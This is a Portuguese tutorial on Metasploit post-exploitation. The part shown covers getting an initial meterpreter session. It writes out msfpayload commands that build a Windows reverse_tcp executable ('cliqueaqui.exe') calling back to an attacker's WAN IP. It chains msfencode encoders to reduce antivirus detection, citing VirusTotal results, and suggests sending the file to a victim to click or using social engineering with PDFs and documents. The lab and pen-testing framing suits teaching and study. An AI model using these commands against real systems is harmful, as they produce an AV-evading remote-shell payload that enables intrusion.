Metasploit é uma ferramenta utilizada, em sua maior parte, por Pen Testers, para a realização de testes de penetração (penetration test), podendo ser usada pelas mais variadas áreas, para fins de testes, análises, conhecimento etc. Este artigo visa demonstrar algumas formas de uso para a pós-exploração de um alvo, usando o framework Metasploit, este que se encontra em sua versão 3.3.4-dev.
Recomendo para este artigo um conhecimento prévio sobre o framework, linha de comando em
Linux, redes de computadores, TCP/IP etc.
O cenário utilizado para a criação deste artigo é mostrado na figura a baixo.
Descrição:
- Attacker = De onde partiram os ataques
- Roteador1 = Roteador da rede local do atacante
- XX.XX.XX.XX = IP WAN
- YY.YY.YY.YY = IP WAN
- Roteador2 = Roteador da rede local do alvo
- 10.0.0.0/8 = Classe utilizada na rede interna do alvo
Obs.: Ficar atento ao redirecionamento das portas no roteador para a máquina atacante.
Nota: Em seus testes não há a necessidade de utilizar as mesmas classes de IPs e quantidades de máquinas utilizadas neste exemplo, fica a seu critério a alteração dos mesmos.
Dica: Com 2 máquinas reais e softwares de virtualização instalada em ambos, você conseguirá montar o cenário acima proposto.
Começando
Assumirei que você já tenha estabelecido uma sessão meterpreter com pelo 1 máquina na rede alvo.
Ah, ainda não? E não sabe como fazer? Ok! Sem problemas, irei demonstrar uma simples técnica apenas para ganharmos a sessão meterpreter e assim podermos continuar com nosso artigo.
Entre no diretório do MSF com o seguinte comando:
# cd /pentest/exploits/framework3/
Ok! Antes de continuarmos, é sempre bom mantermos o metasploit atualizado, sendo assim, como já estamos no diretório do msf, basta o comando "svn update" para atualizarmos o MSF.
# svn update
Com o msf atualizado, iremos criar o payload que enviaremos para o nosso alvo. Prosseguimos com o seguinte comando:
# ./msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 X > cliqueaqui.exe
Será criado no diretório corrente o arquivo executável "cliqueaqui.exe", agora basta enviar para o alvo e aguardá-lo clicar para execução, certo?
NÃO, não está certo! E os antivírus? Com este simples payload que criamos, o AV, detectará assim que ele por os "pés" no alvo!
Se enviarmos o arquivo criado acima "cliqueaqui.exe" para uma análise online com vários AVs, veremos que muitos o detectam.
Utilizei o site
Vírus Total para a verificação online do arquivo, veja a imagem abaixo que dos 40 AVs existentes no site, apenas 13 identificam o nosso arquivo "cliqueaqui.exe".
Veja também no site
Verificador de Malware Jotti, neste, dos 20 scanners, 7 detectam o arquivo.
Sendo assim, vamos "tunar" nosso arquivo cliqueaqui.exe. Digite o seguinte comando:
# ./msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 R | ./msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw | ./msfencode -c 5 -a x86 -e x86/alpha_mixed -t raw | ./msfencode -c 3 -e x86/call4_dword_xor -t exe > cliqueaqui2.exe
Obs.:
1. Troquem XX.XX.XX.XX pelo IP WAN do seu roteador!
2. Lembrando que o comando acima não é a melhor prática para burlar AV! A opção -c diz quantas vezes cada encoder irá interagir com o nosso payload, nos dias de hoje, isso já não adianta muito, demonstrado apenas para ver as possibilidades de se redirecionar a saída de um encoder para outro.
Pronto, agora podemos ver que já diminuímos a quantidade de AVs que estavam detectando nosso arquivo, como pode ser visto na figura abaixo.
Concluído a criação do nosso payload, agora vamos para a próxima fase.
NOTA: Não entrarei em detalhes nas opções usadas acima a princípio, assim que possível explicarei os opções novamente com outro artigo mais detalhado neste quesito.
Dica: Aqui foi usado um simples payload reverso para conseguirmos estabelecer a sessão meterpreter. Mas poderiam ser utilizados outras técnicas, como envio de arquivo pdf com código malicioso, uma imagem jpeg, um arquivo doc usando engenharia social fazendo com que a vítima execute outros arquivos etc. Fica para um próximo artigo.
Usem a imaginação!
DICA: Gaste algum tempo na leitura das opções dos comandos usados acima.
# ./msfpayload -h
# ./msfencode -h
# ./msfencode -l
Obs.: Vou considerar que vocês criaram um ambiente virtual para os testes, sendo assim, não há a necessidade de aprofundar (não agora!) em criação de payloads e tal, na máquina virtual vocês podem desabilitar o AV e executar o primeiro payload que criamos, assim será criada a sessão entre o atacante e o alvo normalmente.